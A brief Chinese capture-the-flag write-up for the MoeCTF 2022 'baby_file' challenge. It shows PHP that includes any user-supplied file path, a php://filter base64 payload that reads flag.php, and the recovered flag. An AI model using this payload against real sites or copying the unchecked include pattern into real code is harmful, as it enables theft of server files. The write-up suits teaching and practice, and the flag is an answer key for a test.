[MoeCTF 2022]baby_file
题目
<html>
<title>Here's a secret. Can you find it?</title>
<?phpif(isset($_GET['file'])){$file = $_GET['file'];include($file);
}else{highlight_file(__FILE__);
}
?>
</html>读取flag
/?file=php://filter/read=convert.base64-encode/resource=flag.php
使用bp解码
拿下flag
NSSCTF{00bb1bc4-f867-45af-b88b-02b18cd6725b};